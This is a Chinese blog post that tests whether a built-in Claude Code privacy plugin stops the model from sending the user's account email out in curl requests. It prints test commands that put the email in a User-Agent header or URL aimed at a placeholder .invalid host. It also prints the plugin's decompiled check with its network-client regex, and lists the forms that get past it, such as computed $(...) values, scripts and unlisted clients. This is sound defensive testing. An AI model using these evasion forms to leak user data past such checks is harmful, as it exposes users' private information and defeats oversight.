Claude Code 2.1.318 的隐私模块:4 条命令,拦了 2 条

HN 上「Claude Code 把你的邮箱发给网站」这条帖子,今天是 1493 分、468 条评论。官方的说法是 2.1.317 起内置了 cc-plugin-privacy,默认开着,能拦住这件事。我这台机器正好是 npm 装的 2.1.318,~/.claude.json 里也有登录账号的邮箱。我按仓库源码里「该拦」和「不该拦」的形状各挑了命令,在交互会话里实际跑了一遍。

跑下来和两边的说法都不一样:4 条命令里插件拦了 2 条、放了 2 条。仓库公开的 mods/privacy 写的是「邮箱和 User-Agent 两个词同时出现才拒绝」,而 2.1.318 安装包里的实现认的是「邮箱加上一个外发客户端的名字」,并且判定从直接拒绝改成了弹确认。Windows 上还有人报 2.1.318 该拦的两条都没拦住,我这台同样版本的机器拦得住。

先说结论

命令 仓库 mods/privacy 的预期 我这台 2.1.318 的实际结果
echo "User-Agent: ... <邮箱>" > /dev/null 拒绝 执行了,EXIT:0
curl -A "... <邮箱>" http://leak-test.invalid/ 拒绝 插件拦住,命令没跑
curl "http://leak-test.invalid/?q=<邮箱>" 放行 插件拦住,命令没跑
邮箱用 $(node -e ...) 现算,再写进 User-Agent 放行 执行了,EXIT:0

三条可以带走的:

  1. 安装包比仓库源码拦得宽,不是窄。邮箱出现在 curl、wget、ssh 这类客户端的命令里就会触发,不必再写 User-Agent。
  2. 触发之后不是拒绝,是弹确认。-p 这种没人应答的会话里,弹确认等于命令直接被拒。
  3. 邮箱要是运行时才算出来的,命令文本里没有它,检查就看不到,照样执行。

背景

事情的起因在 issue #107757。报告人用的是 2.1.318(macOS),说网页搜索时自己的邮箱被写进了请求的 User-Agent,随后收到大量诈骗邮件。帖子现在还开着,👍 637。

Anthropic 员工 poteat 在 issue 里回复:2.1.317 起内置了 cc-plugin-privacy,用来确定性拦住这种行为,默认开启,可以在 /plugins 里关掉。同一天 HN 上,lydia_hallie 补充了来龙去脉:以前有用户抱怨模型在 @author 之类的地方编造名字,于是把登录账号的邮箱放进了模型上下文;模型自己写 curl 时,有时会把这个邮箱当成联系地址填进 User-Agent。她说邮箱会在下个版本从上下文里拿掉,在那之前 2.1.317 及以后的内置模块会在「网页工具或 curl 风格的命令带了你的邮箱」时先问你。

v2.1.317 的发行说明 里对应的一条是:Added a check that asks before a web or shell tool call sends your account email address to the network。注意用词是 asks(先问),不是 refuses(拒绝)。

仓库里公开的实现在 mods/privacy,提交 90380ef,说明是 mods: add the privacy mod (#107768)。README 自己把边界写得很窄,原文是 This is a courtesy, not a boundary, and it covers one shape:只检查 Bash、PowerShell、Monitor 三种工具;输入里要同时有账号邮箱(大小写不敏感,也认一层百分号编码)和「User-Agent 这个词」,才直接拒绝,不弹确认。README 明确列出放行的情况:邮箱只出现在 URL、请求体、curl -u 或 From: 头里;WebFetch、WebSearch 和 MCP 工具不查;用 $(...) 现算出来的值、变量、文件名、脚本里写死的邮箱都不查。

issue 里已经有人对着这个实现做了实验。macOS 上有人用 2.1.318,插件列表里看得到 cc-plugin-privacy 且是启用状态,echo 'User-Agent: test <账号邮箱>' > /dev/null 却照样执行。Windows 11 上有人用 npm 的 2.1.318,echo 和 curl -A 两条都执行了,第二条 curl 打到 http://leak-test.invalid/,返回的是超时(exit 28),不是拒绝。

实测

环境:Windows 10,claude --version 输出 2.1.318 (Claude Code),npm 包 @anthropic-ai/claude-code 版本 2.1.318,二进制是 bin/claude.exe(约 327 MB 的 PE32+)。~/.claude.json 的 oauthAccount.emailAddress 有值。用户 settings 和 settings.local.json 里都没有 enabledPlugins,也就是没有 "cc-plugin-privacy@builtin": false 这种关闭项,插件按默认开着。测完我没有改这个开关。

这台机器平时开不了会话。~/.claude/settings.json 的 env 里写了 CLAUDE_CODE_USE_POWERSHELL_TOOL=0,而本机又没装 Git for Windows 到默认位置,直接跑会报:

text 复制代码
Claude Code on Windows requires a shell tool. Git Bash was not found and the PowerShell tool is disabled (CLAUDE_CODE_USE_POWERSHELL_TOOL=0).

我没有改这份 settings。测试用的是一份去掉这一项的副本,再配上 CLAUDE_CODE_GIT_BASH_PATH 指向本机已有的 bash,会话才起得来。系统初始化事件里的插件列表是:

text 复制代码
cc-plugin-agents-md@builtin
cc-plugin-telemetry@builtin
cc-plugin-privacy@builtin
cc-plugin-plugin-authoring@builtin

工具列表里有 Bash、PowerShell、Monitor,也有 WebFetch、WebSearch。下面 4 条都走 Bash 工具,目标域名用 .invalid(保留域名,不会解析,打不到任何第三方),输出打到 /dev/null。邮箱用的就是登录账号那个,下面用 <account email> 代替。

第一条,邮箱和 User-Agent 都写在命令里,但没有外发客户端:

bash 复制代码
echo "User-Agent: test <account email>" > /dev/null; echo EXIT:$?
text 复制代码
EXIT:0

工具结果 is_error: false,没有拒绝,也没有权限提示。这条按仓库源码应该被拒绝,实际没拦。

第二条,curl -A 带邮箱:

bash 复制代码
curl -s -m 3 -A "test <account email>" http://leak-test.invalid/; echo EXIT:$?
text 复制代码
Permission to use Bash denied by plugin cc-plugin-privacy: This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.

工具结果 is_error: true,命令没有执行,自然也没有 EXIT: 那一行。拦是拦住了,但理由文本是「先问你」,不是仓库 refusal.ts 里那句 "This call was refused"。

第三条,邮箱只放在 URL 查询参数里,命令文本没有 User-Agent:

bash 复制代码
curl -s -m 3 "http://leak-test.invalid/?q=<account email>"; echo EXIT:$?
text 复制代码
Permission to use Bash denied by plugin cc-plugin-privacy: This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.

和第二条一字不差。这条按仓库 README 明确放行(The address with no User-Agent named: a URL ...),安装包拦了。

第四条,邮箱不写进命令,运行时从环境变量算出来,再拼到带 User-Agent 字样的输出里:

bash 复制代码
v=$(node -e "process.stdout.write(process.env.ACCOUNT_EMAIL||\"\")"); echo "User-Agent: fixed-agent $v" > /dev/null; echo EXIT:$?
text 复制代码
EXIT:0

同样 is_error: false,没有提示。检查只看命令文本,文本里没有邮箱,所以放行。这跟 README 写的「现算出来的值不查」一致,安装包也没补上。

4 条命令是在 F:/desk_code/articles/jobs/claude-privacy-ua-check-1106 这个任务目录里、用 SpectrAI 里的 Agent 逐条发起的,每条的工具调用和原始返回都留在该目录的 src/out-*.json。

安装包里的钩子和仓库不是同一份

仓库源码解释不了我看到的结果,所以我直接在 bin/claude.exe 里找了字符串。cc-plugin-privacy 这个名字出现了 3 处,插件描述是:

text 复制代码
Privacy: asks before a shell or web tool runs with the signed-in account's email address in a call that may leave the machine

钩子本体(变量名是压缩后的)是:

js 复制代码
var l = ["WebBrowser", "WebFetch", "WebSearch"],
    y = ["Bash", "Monitor", "PowerShell", "Tmux"],
    _ = /\b(curl|wget|https?|httpie|xh|nc|ncat|socat|telnet|ssh|scp|sftp|rsync|ftp|lftp|rclone|iwr|irm|invoke-webrequest|invoke-restmethod)\b/;
var S = "This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.";

function k(d) {
  d("tool.check", { tool: [...l, ...y] }, async (m, o, f) => {
    let e = await f(o);
    if (e.decision === "deny") return e;
    let a = JSON.stringify(o.input).toLowerCase(),
        p = a.replace(/%([0-9a-f]{2})/g, (N, b) => String.fromCharCode(Number.parseInt(b, 16))),
        r = `${a}\n${p}`.toLowerCase();
    if (!r.includes("@")) return e;
    let { email: h } = await m.session.identity(), s = h?.toLowerCase() ?? "";
    if (s === "" || !r.includes(s)) return e;
    let g = r.replaceAll(s, " ").replace(/\\(?:\\|[nrt])/g, " ");
    return l.includes(o.tool) || _.test(g) ? { decision: "ask", reason: S } : e;
  });
}

和仓库 mods/privacy/hooks/register.ts 比,有 4 处不一样:

  1. 多了工具。 仓库只挂 Bash、Monitor、PowerShell。安装包加上了 WebBrowser、WebFetch、WebSearch 和 Tmux。员工说的「web tool call 也会先问」在安装包里是真的,在仓库这份源码里没有。
  2. 判定条件换了。 仓库要命中 USER_AGENT_WORD(User-Agent、user_agent、--user-agent、UA= 等)或 CLIENT_FLAGS(curl 配 -A、wget 配 -U)。安装包只看命令里有没有上面那个客户端名单里的词,curl、wget、http、https、ssh、scp、iwr 都算。所以第三条「邮箱只在 URL 里」会被拦:命令里有 http。
  3. 结果是 ask 不是 deny。 仓库返回 { decision: 'deny', reason: REFUSAL },README 强调不弹确认、已保存的允许规则和 auto 模式的分类器都不能放开。安装包返回 { decision: "ask" },理由就是我在第二条、第三条里看到的那句原文。
  4. 有个服务端开关。 插件是否可用由 an("tengu_wise_newt", true) 决定,第二个参数是默认值。同一台机器上别人报「插件在列表里但不拦截」,有可能卡在这个开关或者会话没加载钩子,单看版本号区分不了。

把我跑的 4 条代进这个函数:第一条没有客户端名,返回原判定,所以执行了;第二条、第三条命中 http,返回 ask,无人应答时变成拒绝;第四条把邮箱去掉后命令文本里既没有 @ 也没有邮箱,提前返回,所以执行了。4 条全部对得上。

还有一个仓库没写、实测里碰到的:我先试过把邮箱嵌进 curl 的查询参数、用命令替换现算的写法,那一条根本没到插件。返回是 "Your response above was stopped by a safety classifier --- this is not a tool or API error",工具调用被丢掉了。模型随后自己拒绝执行,理由是「这是把账号信息发到外部主机」。所以「没被插件拦住」不等于「命令会跑」------还有一层分类器,而且它看的是意图,不是命令文本。它不稳定,换一种不带外发语义的写法就不再触发,不能当成防护来依赖。

暂时做不了怎么办

  • 想确认自己这台拦不拦,别看版本号,跑第一条和第二条就行。两条都不拦,说明钩子没生效,跟 issue 里那两位的情况一样;第二条拦、第一条不拦,就是我这台的情况。
  • 插件拦不住的形状 :邮箱来自 $(...)、环境变量、文件内容;写进一个脚本再用解释器执行(命令行里只剩 python fetch.py);用名单以外的客户端发。这些 README 和安装包都不覆盖。
  • .invalid 只适合自测。它不会解析,用来区分「被拦」和「真的发出去了」正好。不要拿真实域名试,那是在用自己的邮箱做实验。
  • 关掉插件的方法 以 README 为准:/plugin disable,或在用户、--settings、托管 settings 的 enabledPlugins 里写 "cc-plugin-privacy@builtin": false。仓库级 settings 关不掉。我没动这个开关,上面的结果是默认状态下的。
  • 根上的修复还没到。lydia_hallie 说的「把邮箱从模型上下文里移除」预定在下个版本,发行说明里 2.1.317 只加了这个先问一句的检查。检查看的是命令文本,上下文里还有邮箱,模型就还是能把它写进一个检查看不到的地方。

清单

  • claude --version,确认是不是 2.1.317 或更新
  • 看 ~/.claude/settings.json 和 settings.local.json 的 enabledPlugins 里有没有 "cc-plugin-privacy@builtin": false
  • 开一个会话,看系统初始化的插件列表里有没有 cc-plugin-privacy@builtin
  • 用 .invalid 跑 echo "User-Agent: ... <邮箱>" 和 curl -A "... <邮箱>" 各一条,记下是执行、拒绝,还是弹确认
  • 再跑一条邮箱只在 URL 里的 curl,确认自己这台认的是「User-Agent」还是「客户端名」
  • 别用「插件开着」代替「邮箱不会出去」:现算的值、脚本里的值、名单外的客户端都不在检查范围里

参考

相关推荐
Hello_Pyhx2 小时前
NWinfo 导出 Windows 硬件信息:从 JSON 报告到缺项排查
windows·json
百事牛科技21 小时前
Excel的三种密码:防看、防存、防乱改,各管各的
windows·excel
the3clipse2 天前
MPC-HC 下载安装与最佳配置教程:免费开源、轻量无广告、支持 4K 硬解的 Windows 播放器
windows·播放器·安装教程·硬件加速·mpc-hc·字幕设置·lav filters
独隅2 天前
WebStorm Windows 版 React / Next.js 实战替换指南
javascript·windows·webstorm
陈工大模型2 天前
2026年11月最新免费解压软件横评:7-Zip 、 Win解压缩名列前茅
windows·软件工程·7-zip·压缩软件
中二骚年3 天前
Windows 安全中心 / 防火墙故障,calc和Microsoft Store,终端(管理员)无法正常打开。 原因 + 修复方案
windows·安全·microsoft
万联WANFLOW3 天前
CVE-2026-98432 等漏洞自查:AI 查出的 Linux、Windows 漏洞,运维怎么确认受不受影响
linux·运维·windows·网络安全
AlanAshley3 天前
Windows 中导致延迟的软硬件及协议比重
windows
yuezhilangniao3 天前
win10中文 以及 PowerShell 开发日常
windows·powershell